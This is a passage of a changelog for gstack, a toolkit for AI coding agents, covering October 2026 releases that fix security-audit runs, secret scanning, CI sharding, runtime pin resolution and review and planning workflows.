The /cso skill follows the clock. It now says to start only work that fits and, below 120 seconds, to stop waiting and finish.

Producer receipts record a content-free tool timeline. For each tool call the eval producer records the name, its start and end offsets, and whether a subagent made it. It never records inputs or outputs. The timeline is capped at 4096 entries, validated on read, and left out of the batch index. Scoring is unchanged.

If you…

…drive gstack-cso from your own agent: read remainingSeconds from each reply and stop starting work below two minutes. inspect refreshes it without side effects.

[1.91.123.0] - 2026-10-17

/cso comprehensive repairs run again. In the first paid runtime qualification, the agent recorded 148 repair reviews across 42 comprehensive runs, but not one verification attempt started. Every runtime scored 0/24 on held-out repairs. Two helper bugs stacked: the patch write failed on the snapshot's read-only files, and runtime-plan handed the agent a profile name that verify refused.

Fixed

verify can patch read-only snapshot files. Snapshot copies keep their 0444 modes, so writing the patched file failed with EACCES for any non-root user, which is how real users and the evaluator run. The error surfaced as a generic "unexpected or unsafe input". The helper now makes the file owner-writable for the write and restores its mode afterwards.

runtime-plan returns the qualified runtime ID (for example node-24.4.0-amd64) instead of the stack alias, and the skill copies that value into the verification request. verify rejects any other profile with an INVALID_ARGUMENT that names the expected ID, before an attempt is counted.

If you…

…build a verification request by hand: use the runtimeProfile that runtime-plan printed. The stack alias is refused.

[1.91.122.0] - 2026-10-17

Main no longer goes red on 2026-11-16. All seven .osv-scanner.toml suppressions expired on 2026-11-30, and test/osv-ignore-expiry.test.ts fails 14 days early. Six are gone and the seventh is re-dated with an upstream link. Dependabot's grouped dev bump (#3228) is replaced by hand, and Version Gate stops failing every dependabot package.json PR.

Fixed

Six OSV suppressions removed (#2754, #2753). The hono, @anthropic-ai/sdk and sprintf-js ignores no longer matched either lockfile. image-size is overridden to 2.0.4. braces leaves lib/diagram-render because chokidar is overridden to 4.0.3; that bundle's sha256 is unchanged. katex (low) is re-dated to 2027-01-31: its fix needs a mermaid 11 release that allows katex 0.18 (mermaid-js/mermaid#8388). osv-scanner reports no issues and no unused ignores.

make-pdf --to docx no longer hangs on an ICNS image. html-to-docx 1.8.0 sizes images with its own bundled image-size 1.x, which the override cannot reach and which loops forever on GHSA-w3rx-r6r6-pgpr's input. ICNS images are dropped with a warning before conversion. The result is re-parsed with html-to-docx's own html-to-vdom, so a tag the guard misreads fails the conversion instead of hanging it. Every other image format embeds as before; a golden test pins the Word output.

Version Gate passes dependabot dependency PRs. Hard rule 1 (VERSION above base) is skipped only when the author is dependabot[bot] and every changed file is a package.json, a bun.lock or .github/dependabot.yml. A failed file lookup keeps the rule.

Changed

@types/bun 1.4.3 and prettier 3.9.10. The test type baseline drops 18 diagnostics.

Dependabot holds both Anthropic SDKs to patch updates. Their breaking 0.x releases (agent-sdk 0.2 to 0.3, sdk 0.78 to 0.133) count as minor bumps to dependabot and break typecheck:test and overlay-sdk-cancel-eof.

If you…

…delete an OSV ignore after adding an override: check that the vulnerable code loads from node_modules. A dependency that bundles its own copy keeps the old code even though the lockfile looks fixed.

…convert untrusted markdown with --to docx --allow-network: html-to-docx still downloads remote images and sizes them with its bundled copy (#2753 stays open for this).

[1.91.121.0] - 2026-10-17

Windows free-test shards stop running out of time on files the Windows seed didn't know. The Windows duration seed dated from 2026-10-04 and had no entry for test/gstack-doctor.test.ts (about 6.5 minutes on Windows) or test/hook-scripts.test.ts. The packer guessed, put cookie-import-native-job into a 121-file shard, and that shard hit the 15-minute job limit.

Fixed

Windows duration seed refreshed from a real windows-latest recording. scripts/free-test-durations-windows.json goes from 638 to 738 entries. The six-shard plan now gives gstack-doctor a shard of its own and puts the other slow files in separate shards. The shard job's timeout and shard count are unchanged.

--record-durations honors --wall-timeout. The recorder used to kill any file at 360 s and record that deadline as its duration. The Windows recording job now passes --wall-timeout 1200 and uploads its full per-file logs.

If you…

…refresh the Windows seed: run gh workflow run windows-free-tests.yml --ref <branch> -f record_durations=true, check that the job exited 0, then commit the free-test-durations-windows artifact. A file that fails while recording now leaves its log in windows-record-durations-logs.

[1.91.120.0] - 2026-10-17

The Windows doctor test no longer times out. The windows bash test from v1.91.117.0 ran five full gstack-doctor passes in one test. Each pass takes up to about 6 s on a Windows runner, so the test took 20 to 30 s against the 30 s per-test limit, and it timed out on one pull request run.

Fixed

The windows bash doctor test is three tests, one per case, each with its own fixture and at most two doctor passes. All 13 assertions are unchanged, and no timeout was raised.

The EBUSY cleanup error that followed the timeout came from the timeout itself. On a timeout, Bun kills the bash child the test is waiting on, but the doctor's own bun and git subprocesses keep running and hold the fixture directory open on Windows. With every test well inside the limit, nothing is killed mid-run.

If you…

…add cases to a test that shells out to gstack-doctor: give each case its own test. A full doctor pass costs seconds on Windows, and a test killed at its timeout leaves orphaned children that lock its temp directory.

[1.91.119.0] - 2026-10-17

The weekly health check's seed check passes again. 54 free test files had landed since the 2026-10-15 recording, so CEO-10 in bun run test:health failed and CI packed those files at the 99th-percentile guess (#3224).

Fixed

Free-suite duration seed refreshed. scripts/free-test-durations.json was re-recorded on a CI-mirrored Ubicloud VM (bun run test:ubicloud --record-durations, no failed files): 1219 to 1273 durations, none removed. test/setup-codex-scope.test.ts is back under the 60 s ceiling, so its seed allowlist entry is removed.

If you…

…see CEO-10 fail in the weekly health issue: new test files outran the seed again. With UBICLOUD_API_KEY set, run bun run test:ubicloud --record-durations and commit the seed; otherwise leave it to a maintainer. A standing recorder is planned.

[1.91.118.0] - 2026-10-17

Free Tests is green on pushes to main again. Since v1.91.106.0, every push to main failed test/held-install-recovery.test.ts, while pull request runs passed.

Fixed

The held-install recovery fixture no longer assumes the checkout has no main branch. On a push, actions/checkout leaves the checkout on a local main, so the fixture's clone already had main and git checkout --orphan main failed with a branch named 'main' already exists. Pull request runs check out a detached merge ref and never hit it. The fixture now builds on its own orphan branch and pushes HEAD:refs/heads/main, and a new test builds it from a source on main and from a detached source with no branch.

If you…

…write a test fixture that clones this repository: don't create a branch with a fixed name such as main in the clone. Push runs and pull request runs leave different local branches behind.

[1.91.117.0] - 2026-10-17

Pregate understands bats repositories and says why a fingerprint failed, gstack-doctor lists rescued edits and pasted skill lists, oversized SKILL.md files can no longer grow, and hosts without plan mode drop the plan-mode preamble. The last PR of the 2026-10-15 fix wave (docs/designs/FIX_WAVE_2026_10_15.md, PR 5), built after #3190.

Fixed

Pregate recognises bats tests (#3161). In a repository whose tests are .bats files, lanes failed every run with PREGATE_NO_LANE. A .bats file is now a test, a selection manifest's .bats paths are taken, and the bats TAP plan and pretty summary feed the zero-run rule. Contributed by @harjothkhara (#3177); reported in #3161.

A working-tree fingerprint failure says what failed (#3197). gstack-pregate reported it as policy source unavailable: origin/<base> is not a resolvable commit with git fetch as the fix. It is now WTREE_UNAVAILABLE. On Windows the line lists every Git Bash candidate tried and names GSTACK_GIT_BASH, and a gstack-wtree failure keeps its own repair (for example set TMPDIR to a writable directory).

gstack-pregate --json refusals are JSON. A refusal before any check runs is one {ok:false,status:"refused",code,detail,fix,docs} object on stdout with exit 3; GSTACK_RESULT moves to stderr under --json.

Pregate reads test_backend on Windows. The gstack-config read goes through Git Bash instead of a direct spawn that Windows cannot execute.

No plan-mode section on hosts without plan mode (#3168). Codex, Antigravity, Hermes, OpenClaw, Factory, Kiro, Slate, Cursor and GBrain skills drop the two plan-mode preamble sections (about 1.5k characters per skill).

Added

gstack-doctor lists refs/gstack/rescue/* with dates and the inspect and delete commands; warns when a gstack section in ~/.claude/CLAUDE.md or the project's CLAUDE.md enumerates skills (#3169) and prints the short block; on Windows names the Git Bash gstack uses and what chose it.

A free test fails when a generated SKILL.md on any host exceeds 100,000 characters or grows past its pin (#3199).

If you…

…use pregate on Windows and saw origin/<base> is not a resolvable commit: update, then follow the WTREE_UNAVAILABLE line; usually export GSTACK_GIT_BASH='C:/Program Files/Git/bin/bash.exe' (Git Bash) or $env:GSTACK_GIT_BASH = 'C:\Program Files\Git\bin\bash.exe' (PowerShell).

…parse gstack-pregate --json: a refusal is now a JSON object on stdout (exit 3), not a GSTACK_RESULT line; switch on status (refused, complete, incomplete). GSTACK_RESULT is on stderr under --json.

…keep tests as bats files: lanes selects and runs them; declare "runner": "bats {files}" and map sources with dependencies in .gstack/pregate.json (bats files are not scanned for path literals).

…use Codex, Antigravity, Hermes, OpenClaw, Factory, Kiro, Slate, Cursor or GBrain: rerun ./setup to get the smaller skills.

…have local edits rescued by an auto-update: gstack-doctor lists each rescue ref with the commands to inspect and delete it.

…pasted gstack's skill list into a CLAUDE.md: gstack-doctor warns and prints the two-line block to use instead.

…are on Windows and gstack-doctor --check says your revision is too old: it prints the held-install recovery for Git Bash and PowerShell 5.1 instead of bin/gstack-upgrade, which refuses on Git Bash installs.

…edit a skill template: test/skill-md-size-guard.test.ts fails when a generated SKILL.md grows past 100,000 characters or past its pin; when you shrink a pinned skill, lower its pin in test/fixtures/skill-md-size-allowlist.json.

[1.91.116.0] - 2026-10-17

Lanes and the coordinator now share a merge queue whose stamp claims are checked instead of trusted, risky changes need a cited owner approval before they ship, /review checks state machines cell by cell, pregate warns about timing assertions, and the update check notices when main moves without a version bump. These are the field list 2 wave B items from the gbrain crew (W1-W4, W10, W12).

What this means for you

gstack-ship-queue runs a shared merge queue. ready prints one READY block and refuses when the tree differs from the pushed head. stamp checks every proof input, restamps through gstack-restamp, and resumes on an identical retry. The coordinator's verify reruns the tree receipt and recomputes a gate-ahead merge, so a lane's stamp claim is never taken on trust. Ship policy gains gate_command, full_e2e and min_gstack_version; a gstack older than a key it reads refuses with POLICY_GSTACK_TOO_OLD. See docs/ship-policy.md#run-a-shared-merge-queue.

Approval classes. .gstack/approval-classes.json (read from the base branch) declares what needs an owner's approval. gstack-ship-receipt write refuses a branch that touches a class until the PR body cites Approved by <owner> <date> via <ref> for <class>@<digest12>, bound to the effects being shipped.

/review's state-machines specialist builds a kind × owner action matrix for diffs that change a state machine. gstack-state-matrix check reports every missing cell, and an untested cell is CRITICAL.

Pregate's timing check warns on added test lines that bound wall or CPU time or sleep and then assert. Mark a deliberate bound with gstack-timing-ok: <reason>. /investigate gains a timing-flake playbook.

The update check sees a moved main. At an equal VERSION it reports UPGRADE_AVAILABLE <ver> <ver>+<n> <sha> through the GitHub compare API (never git fetch). The cache is bound to HEAD and upstream, and snooze is keyed by SHA. /gstack-upgrade summarizes the commits instead of a CHANGELOG entry.

Pregate's docs lane comes from #3215 by Cursor Agent: Markdown no test depends on is already a docs/no-tests empty lane.

For contributors

The release-path result codes live in lib/result-codes-release.ts, spread into RESULT_CODES, so lib/result-codes.ts stays inside the module-size ratchet.

New paid case review-army-state-matrix (periodic, behavior). The periodic lane's max-parallel is 38 so every planned slice still starts at once.

The scope-signal clarity test also accepts a signal printed by the helper its own selection line runs (SCOPE_STATE_MACHINE), and the hermetic update-check fixture writes the identity cache.

[1.91.115.0] - 2026-10-17

Autoplan now enforces its round cap and spend budget and can export a public copy of a run, /eval-plan tests its preregistered diagnostics and checks every arm's model against repo rules before money moves, and a reviewer subagent can install gstack's read-only helpers in seconds. These are the field list 2 wave A items from the gbrain crew (autoplan W5-W7, eval-plan W8/W9, reviewer install W11).

What this means for you

Autoplan stops when it said it would. A run that reaches its round cap with open findings closes as accepted-with-findings and defers them to the build instead of starting another round. The spend budget is enforced the same way.

gstack-autoplan export --out <run> --public <dir> writes a shareable copy. Recorded machine roots are rewritten in prose. A root that survives (for example inside a code span in the plan) is reported as ARTIFACT_MACHINE_PATH, and a target directory holding unrelated files is refused with ARTIFACT_PUBLIC_TARGET_EXISTS.

Durable autoplan checkpoints are opt-in. Set GSTACK_AUTOPLAN_CHECKPOINT_DIR or gstack-config set autoplan_checkpoint drive. resume --from never redispatches a voice that already bound.

/eval-plan runs the preregistered diagnostics before the freeze. prereg --check reads an optional ## Diagnostics section, runs the summarizer on the declared fixture only with --allow-repo-commands, and reports any miscount as PREREG_DIAGNOSTIC_UNTESTED.

.gstack/eval-models.json (read from the base branch) gates every arm. arms, dry-run, pilot start and price-gate refuse unknown, denied or older-generation models before any money is reserved (EVAL_MODELS_INVALID, EVAL_MODEL_DENIED, EVAL_MODEL_OLD_GENERATION, EVAL_MODEL_GENERATION_UNRESOLVED). See docs/eval-models.md.

--for review-voice installs only the read-only helpers. No ./setup, no host profiles, Bun at gstack's own minimum. Its trailer says for=review-voice, and every full workflow refuses that verdict with a --for <skill> fix. Autoplan reviewer prompts now ask each reviewer to run it and relay its gstack: line.

For contributors

New result codes and troubleshooting anchors are appended to lib/result-codes.ts, docs/troubleshooting.md and the generated bin/gstack-doctor-components.sh. The capy/skill/gstack context-budget ceiling is raised to its capture value under the ratchet protocol.

The doc-sync observer (test/helpers/docsync-observer.ts) accepts GSTACK_SESSION_KIND=spawned <gstack-skill-start> --help as the harmless read it is. Paid case ship-docsync-store went red on that command alone.

test/capy-review-voice.test.ts is curated out of the Windows subset: it is a POSIX launcher contract (tar -C into a drive-letter root, a colon-joined launch PATH).

[1.91.114.0] - 2026-10-17

The DevEx reviews now score every error message for the reader that usually meets it first: an AI agent running unattended. /plan-devex-review, the /autoplan DX phase and /devex-review used to ask for "problem + cause + fix". Now they score each error path against an eight-item agent-ready contract: what, fix, recovery, code, context, trace, redaction and channel. Two kinds of failure cap the Error Messages score. A leaked secret, a failure reported as success, an unsafe fix or a block on a terminal caps it at 4/10. A missing fix, recovery, context or trace caps it at 6/10.

What this means for you

Plan reviews catch agent-hostile errors before you build them. Pass 3 of /plan-devex-review, and both autoplan DX voices (native and outside), report CAP4:<path>:<item> findings as Critical and CAP6:<path>:<item> findings as High, and output a path-by-item matrix. Usage errors rejected before any work need only what, fix, code, redaction and channel. Remote APIs are never penalized for keeping their stack traces server-side. docs/agent-ready-errors.md is the public reference.

/devex-review exercises CLI errors under containment. The new gstack-error-capture runs the target with no terminal, stdin closed, a temporary cwd and HOME, a scrubbed environment and a deadline. It prints one redacted JSON record: exit code, deadline kill, terminal verdict (blocking, refused_with_alternative, refused_no_alternative) and secret findings. Forwarding credentials, config files or a real directory needs --approved, and every capture stays read-only.

Old and new DX scores are not compared. Review-log rows now carry dx_rubric and per-dimension scores. Trend Check and Boomerang print "rubric changed, not comparable" across rubric versions instead of a misleading delta.

"AI coding agent" is a persona option for CLI tools and Claude Code skills, and "Agents are users too" joins the DX principles.

For contributors

lib/dx-error-contract.ts is the single source; the snapshot literal, the outside prompt and the public doc are tested against it. The DX_CAPTURE_* codes live in RESULT_CODES, each with a troubleshooting anchor.

lib/qa-deadline.ts accepts an optional spawn: {cwd, env}. Existing callers are unchanged.

New paid behavior case dx-error-contract-review (periodic, 3 trials). The native DX reviewer must cap a hostile CLI path and an unspecified path, and must not cap three decoys. Its grader is replayed free in test/dx-error-contract-grader.test.ts.

Known limit: containment lasts only while the helper runs. A SIGKILLed helper, or a descendant that leaves the process group, outlives it, which is why captures are limited to read-only invocations. The helper's Windows and macOS paths are covered only by CI's free shards.

[1.91.113.0] - 2026-10-17

A Capy install that has fallen behind now says so in the one line lanes relay, a skipped upgrade is never reported ok, and a reused pid no longer blocks every upgrade. Lanes pass along only the gstack: trailer, so a session that was 12 commits behind origin looked current. Two field reports (GBRA-105, GBRA-106) showed session-start upgrades wedged behind a lease whose pid now belonged to dbus-daemon or systemd-logind, while the trailer still said ok.

What this means for you

The ok trailer carries the gap and the fix: gstack: ok <v> for=<skill> (behind=<n> (latest: <v>); fix: <command>). The fix is the command that actually closes the gap: a rerun, gstack-upgrade for a dirty, detached or diverged checkout, or unset <VAR> when upgrades are switched off. Run it.

A skipped session-start upgrade fails. When the upgrade is busy, refused or missing, install mode ends gstack: fail behind — … (UPGRADE_BUSY|UPGRADE_REFUSED) with exit 1, and workflows refuse until the fix runs. An explicit opt-out stays ok with the behind= note.

A lease records who holds it. gstack-lease stores the holder's start identity (boot id plus start time, or ps lstart). A lease whose pid now belongs to another process is reclaimed, with a gstack-lease: reclaimed stale lease … line. live, UPGRADE_BUSY and fail behind name each holder as pid <p> (<age>m <command>).

The supported minimum rises to this release, so older Capy checkouts are fast-forwarded at install-mode session start.

For contributors

The lease directory has a lock: a symlink naming its holder, broken only when that holder is dead or its pid was reused. Breakers serialize on .lock.break and reread before removing. While a live process holds the lock, touch exits 3, and gstack-skill-start reports that the session holds no workflow lease. Known limit: two gstack-lease processes killed in a row can still let a reclaim delete a renewal.

The paid-gate Aside drive-offer detector (test/helpers/third-party-actions.ts) now matches the product name only. The English "set this aside" was a false positive in paid run 38988927989.

[1.91.112.0] - 2026-10-17

/cso --paths audits part of a repository and says exactly what it skipped. A repository over /cso's 64 MiB source cap used to get one piece of advice, "run /cso on a smaller checkout". The trimmed copy then read as the whole repository, and the verdict never said what was left out. gstack-cso start --paths src/core,src/mcp now audits only those prefixes and reports every other path as skipped, with snapshot and history coverage marked partial.

What this means for you

--paths narrows an audit without hiding what it left out. Files outside the prefixes are never copied, read or counted toward the cap. The run's snapshot manifest lists each one, the report counts them, and snapshot-inputs and history-inputs coverage read partial, so the verdict can't look complete. Git history is limited to the same prefixes.

--diff --paths fails closed. A changed, added or deleted file outside the prefixes refuses the run and is named, including .npmrc, bunfig.toml, .claude/ and other credential or agent configuration. Only dependency trees such as node_modules, which /cso never reads, are exempt.

Findings stay in scope. A finding, recheck evidence or history query on a skipped path is refused, and rechecks and replays keep the original --paths.

The source-cap message points to --paths and warns against hand-trimmed copies. The manifest cap and the 100,000-entry limit still count every file, so their advice is unchanged (#2993).

If you…

…audited a hand-trimmed copy to get under the cap: rerun /cso on the full checkout with --paths set to the directories you want audited, so the report says what was skipped.

For contributors

New test/cso-audit-paths.test.ts covers the cap advice, the withheld entries and gaps, the --diff refusal in both directions, bounded 1 MiB hashing of out-of-scope files when a comparison base is set, recheck and replay scope, and out-of-scope history and findings.

Known limits: under --paths the original-source hash ignores content changes outside the scope, out-of-scope hashing has no byte cap beyond the time budget, --paths with --comprehensive runs on a trimmed tree, and a recheck refuses when the audited directory was renamed.

[1.91.111.0] - 2026-10-16

Four background reds in the paid PR gate were caused by a detector, a fixture interface, a gstack helper and a Review Army workflow block, not by the PRs that hit them. Each is fixed where it starts, and each fix has a free regression built from the red run's captured events. Over the last 99 gate runs, 10 of 28 full-selection PR runs had a red. Replayed under these fixes, that drops to 8, and red verdicts drop from 13 to 10. No threshold, budget, trial count or quarantine changed.

What this means for you

gstack-skill-start --help and gstack-skill-end --help print usage and touch nothing. They used to ignore the flag and run a real session: minting a session id, writing a marker into your state root and emitting an instruction. Now -h/--help exits 0 before any side effect.

/review and /ship's Review Army prints the scope signals it selects specialists from. The "Detect stack and scope" block sourced SCOPE_FRONTEND, SCOPE_BACKEND and the rest without showing them, so agents added their own echo to the block. It now ends with set | grep '^SCOPE_'.

For contributors

The ship-docsync-launch-failure detector treats "until/unless/once/when/before/if Documentation is current" as a condition, not a claim. A new replay corpus in test/fixtures/detector-corpora/ship-docsync-launch-failure/ covers it.

The docsync observation interface admits the lifecycle helpers' own --help. Every Bash command from the ship-docsync-store red run (test/fixtures/docsync-store-38969924945-bash.json) passes it.

The qa-only browser-deadline policy admits ls -la <root>/qa-reports/screenshots. Escapes, siblings, -laR and appended commands are still refused.

[1.91.110.0] - 2026-10-16

A full install now ends ok on gbrain: the installer resolves and installs the project's pinned Node, and the launch PATH no longer puts a shared bin directory first. On 1.91.107.0 a full install in gbrain still ended gstack: fail pins. gbrain pins node 24.18.0 in CI (.github/workflows/native-locks.yml), the Capy image ships 24.21.0 in /usr/local/bin, and the installer handled only Bun pins (GBRA-117). Changing nvm's default didn't help, because the launch PATH put the resolved Bun's directory first. When that Bun was /usr/local/bin/bun, the image's node came with it (GBRA-122).

What this means for you

The project's Node pin is resolved like its Bun pin. engines.node, .nvmrc, .tool-versions and CI node-version: pins are read by the same parser. Non-CI exact pins are required, and CI pins in different jobs are alternatives. The installer takes the first node that satisfies them, in this order: the node first on PATH, gstack's store copy of a wanted version, nvm's copy, then any other node on PATH. With no match, install mode downloads the pinned release from nodejs.org into <state root>/runtimes/node/<version>, checked against SHASUMS256.txt. /usr/local/bin and nvm are never written, and --check never installs.

The install verdict records the Node (node_path, node_version, node_rule), and --check keeps using it while it still reports its version and satisfies the pins.

The launch PATH never exposes a shared bin directory. A Bun from gstack's store still launches from its own version directory. Any other Bun, and a Node the launch needs, launch through a gstack-owned directory beside the verdict that holds only bun, bunx and, when needed, node, npm, npx and corepack symlinks. The pregate's lanes use the same directory.

A Node pin mismatch says what to do. The doctor's pins row names the node it read and gives a fix: on Capy, the installer command that installs the pinned Node; elsewhere, nvm install <version> and putting it first on PATH.

If you…

…run gstack on a Capy machine in a repo that pins Node: run bash <skill>/scripts/install.sh --for <skill> once, then launch with the GSTACK_LAUNCH line it prints.

For contributors

bin/gstack-node-runtime.sh holds Node resolution, the verified install and the launch-directory writer. renderPinLines now prints PIN_EXACT_REQUIRED and PIN_CI_ALTERNATIVES lines for node as well as bun.

test/gstack-capy-install.test.ts covers a Bun resolving into a directory that holds another node, gbrain's CI pin served from nvm and recorded, and a store install with a SHA-256 mismatch control. The doctor, runtime-pins and pregate launch tests cover the fix line, the node plan lines and the recorded launch directory.

[1.91.109.0] - 2026-10-16

Pregate's secrets check stops passing real keys it never scanned, Windows Git Bash can run gstack-upgrade again, and four user-reported workflow bugs are fixed. The secrets check could miss a committed AWS key in two ways and flagged ordinary TypeScript as secrets. gstack-upgrade refused every Git Bash install. Catalog field names failed a check that can't be downgraded. Browse treated some server-side writes as read-only, and a plan review could delete another review's summary. Each fix has a test that fails on the previous release.

What this means for you

Pregate secrets scans what you actually added (#3211). An added line that begins with ++ used to be dropped as if it were a diff header, and a diff.external or textconv driver could empty the diff, so a branch carrying a real key passed with "no added lines". Both false negatives are older than this release. The check now reads the diff hunk by hunk with external drivers off. It scans each file with its own type, so token: credentials.token, in a .ts file is code, not a secret, and each finding names its file. Reported by @brentyates-swx.

gstack-upgrade works under Windows Git Bash. It compared Git's C:/x with Git Bash's /c/x as plain strings and refused every install as "not a gstack checkout" (UPGRADE_REFUSED), the same command the doctor's recovery line tells you to run. It now compares the paths themselves. A gstack tree nested inside another repository is still refused.

A catalog field named like "input_key": "expected_media_rate_bits" is no longer a credential (#3208). env.kv skips a value only when the whole name is one data-model word plus _key and the value is lowercase identifier words. cosmosdb_primary_key, api_cache_key, ALL-CAPS env names and entropic values still fire. Reported by @brentyates-swx.

Browse's "LOOK, not ACT" rule covers two writes it missed (#3216). On a non-local target, a wizard or dialog step (Next, Step N, a menu item that opens a dialog) counts as a write until its handler or network effect shows otherwise, and its Cancel proves nothing. Before any Save or Submit, every value set with fill, selectOption or setValue is read back, and a mismatch stops the run. Reported by @tomg65.

A second plan review no longer deletes the first one's summary (#3219). /plan-design-review writes its Completion Summary, and /plan-devex-review its DX Scorecard, in their own sections above ## GSTACK REVIEW REPORT. That report section is the part the next review deletes and rewrites. Reported by @virajs13.

If you…

…hit UPGRADE_REFUSED "not a gstack checkout" on Windows: update by hand once (cd <install> && git pull --ff-only && ./setup); gstack-upgrade works from then on.

…renamed a field or added a workaround to get past pregate secrets: you can drop it. Rerun gstack-pregate --only secrets; findings now say which file they're in.

For contributors

New test/pregate-secrets-source-context.test.ts covers the ++ line, the empty external diff, the TypeScript exemption and a .env control. test/gstack-upgrade-path-spelling.test.ts emulates MSYS with uname, cygpath and git shims.

test/cso-git-hardening.test.ts builds its fixture repo once per file. On a cold macOS runner, the per-test git spawns used up the first test's 5 s budget (#3207, by @scottgigante-hubflow).

[1.91.108.0] - 2026-10-16

The weekly census's two #3153 findings were in the test fixtures, not in /ship or /review. The Oct 12 census went red on ship-exploratory-late-input and flagged review-army-simplification over its session headroom cap. Both are diagnosed from the run's own transcripts (docs/evals/headroom-diagnosis-2026-10.md), and each fixture repair lands with a free test that failed first. No skill prose, budget, threshold or detector changed. Reported by the weekly periodic census bot (#3153).

What this means for you

ship-exploratory-late-input no longer gets invited to probe before its QA methods are read. The fixture's scheduling contract told the session to batch "Reads and read-only discovery" together, and the session counted a QA capture as discovery. It went out in the same response as the Step 9 section Read, before any QA section had returned. The contract now says a capture, a deadline guard start or run, or a diagnostic run is a probe, never discovery. The ordering rule itself stays in /ship's own Step 9 STOP, so the case still catches that STOP being lost.

review-army-simplification stops spending its budget on a false premise. Its prompt said the diff was "over 100 lines" when the fixture is 68, so every run reconciled the mismatch, read the whole review skill and checklist, and wrote an unbounded report (142, 91 and 146 s of a 180 s budget on Oct 12; 159 s pooled). It now stages only the Review Army section and the simplification checklist with recorded scope, stats and diff, as the other Review Army cases do. It selects the specialist with the real /review --simplification flag and caps the report at 30 lines. The budget and assertions are unchanged.

If you…

…maintain gstack's eval census: the next census on this revision (or the paid reruns of the two cases) decides both; until then #3153 stays open.

For contributors

test/qa-exploratory-callers.test.ts replays census 38212265208's native tool order through callerProbeReadErrors, with a reordered negative control, and checks the actual runner callback's discovery definition.

test/review-army-budget.test.ts drives the registered simplification callback with a mocked runner: one pass control and two negative controls. It checks that the premise matches the staged 68-line diff, which files are staged, and the report bound.

[1.91.107.0] - 2026-10-16

The GBRA-40 field list is fixed: install and check agree on one Bun, rec approves an autoplan gate in one word, and pregate never sits silent. Eighteen Capy threads upgraded to v1.91.101.0 and reported 21 problems (GBRA-40, October 14). Each gstack item was reproduced with a test that failed first; the plan went through /autoplan (two gate revisions, Claude and GPT-6.1 Sol voices per phase) and two independent code reviews. Two items are Capy's (skills not mounted on some crew threads, Drive copies not re-synced) and are handed off, not worked around.

What this means for you

Install, --check and upgrade resolve the same Bun. One resolution contract (gstack_bun_resolve in bin/gstack-bun-version.sh, twinned in lib/pregate/runtime.ts) picks, in order, the project's exact verified pin in gstack's runtime store, the install default, $BUN_INSTALL/bin, ~/.bun/bin, then PATH, and only a Bun that satisfies every applicable pin. The install verdict is keyed by checkout and project (install-verdicts/<checkout>/<project|none>.json) and records the Bun's path and version; --check fails BUN_RESOLUTION_DRIFT only when that Bun is gone, changed or no longer fits the pins.

Fresh machines get Bun 1.4.3; the floor stays 1.4.2. GSTACK_BUN_DEFAULT="1.4.3" is installed when no pin decides (GSTACK_BUN_INSTALL_VERSION overrides it with another verified version). Verified Buns unpack into $GSTACK_STATE_ROOT/runtimes/bun/<version>/ with bunx; ~/.bun/bin/bun is never overwritten.

Fresh Capy shells run the right Bun without a PATH export. On Capy cloud machines the installer writes marked ~/.local/bin/bun and bunx shims that pick the Bun recorded for the current project (or the no-project record), validate and contain any .bun-version pin, and stay quiet unless a pin cannot be served. GSTACK_BUN_SHIM_EXPLAIN=1 says why; GSTACK_BUN_SHIM=0 opts out; a foreign ~/.local/bin/bun is never touched.

CI pins in different jobs are alternatives. A project whose CI tests Bun 1.4.2 and 1.4.3 in different jobs is satisfied by either; package.json, .tool-versions and .bun-version pins are still all required. This also explains GBRA-39's backwards outside CI 1.4.2 report.

gstack-upgrade certifies the project you ran it from, on the no-op, fast-forward and pending-repair paths alike. A pins failure prints gstack: fail pins … after a kept move and leaves no pending-reinstall marker; any other installer stop prints gstack: fail runtime — ….

The ok trailer says what it skipped and what is newer: gstack: ok <rev> for=<skill> (pins: skipped (planning-only|no project); latest: <ver> available). The gstack: fail <components> head is unchanged.

A stale Drive wrapper is visible. With no active-wrapper provenance the doctor reads the Drive copies itself and fails CAPY_WRAPPER_STALE only when every copy is stale; an active copy below the minimum is a WARN owner action.

rec takes every recommendation, plan changes included. all, approve all, accept all and take all recommendations are aliases; as-is keeps the plan as written; rec except d4a overrides one item. The render shows rec first with a rec_hash; the new gstack-autoplan recommend lets the relaying parent set an item's recommendation, after which a stale rec is refused (GATE_REC_STALE). An agent's answer needs --owner-reply with the owner's words, and words that parse to different choices are refused. Gates rendered by an older gstack refuse alias replies until re-rendered.

Two-voice recommendations need a shared remedy. A file:line or title match alone is unverified; opposite remedies are a disagreement.

Autoplan artifacts survive revisions, late edits and machine loss. An empty findings fence means no findings. Each attempt writes its own result file and submit binds a sealed .bound.md copy. answer reopens nothing (amend_pending); revise reopens what actually changed, and revise --settle <id> closes a packaging-only change, in the same call as --incorporates if needed. With GSTACK_AUTOPLAN_CHECKPOINT_DIR set, each rest state publishes an immutable checkpoint generation; gstack-autoplan checkpoints --from <dir> lists them and resume --from <dir> restores the newest valid one after validating it.

Smaller autoplan fixes: status lists PENDING: attempts; gstack-gate render --all; findings' file fields are repo-relative; numbers quoted from the plan are not NUMBER_UNRECEIPTED; an outside voice without --runner is (host-subagent); PLAN_REALITY flags an unquantified "minimum effect / margin / decision rule" beside the approval item without blocking.

gstack-pregate never hangs silently. Test commands run in their own process group with output to a log; PREGATE_TEST: progress and heartbeats go to stderr live; --stall-timeout (default 300 s, stall_timeout_s in .gstack/pregate.json) kills a silent group (PREGATE_STALLED); --timeout stays per runner process. Under 8 cores with a declared remote gate the tier becomes a requires-remote obligation; --remote --spend-cap <usd> runs it and clears it only on a matching PREGATE_REMOTE: receipt.

/ship issue links. gstack-issue-links lists commit mentions as Refs candidates (fix #N promotes one), adds Related: #N (@author) for other authors' open PRs closing the same issues (Supersedes and credit only with --supersedes/--credit), and maps a CI run id only to a bot-filed flake issue naming that run and a test. gstack-ship-receipt write refuses a body missing its issue lines (ISSUE_LINKS_MISSING).

Also: the Capy installer ends with one gstack ready (claude, codex) line and says cloned … at <rev> for a fresh clone; ubi-runner -S accepts only 320 or 640 unless UBI_ALLOWED_STORAGE says otherwise.

For contributors

New CI job quick-bun-default runs the quick tier on GSTACK_BUN_DEFAULT; test/bun-version-drift.test.ts pins it and free-tests requires it.

New tests: test/bun-resolve.test.ts, test/autoplan-checkpoint.test.ts, test/autoplan-pairing.test.ts (with this run's real pairs as fixtures), test/pregate-supervise.test.ts, test/pregate-remote.test.ts; many existing suites gained regressions.

The ship parity union cap is 1.6488 (measured), and the Capy skill's eager budget is 2601 tokens for its new autoplan checklist.

[1.91.106.0] - 2026-10-16

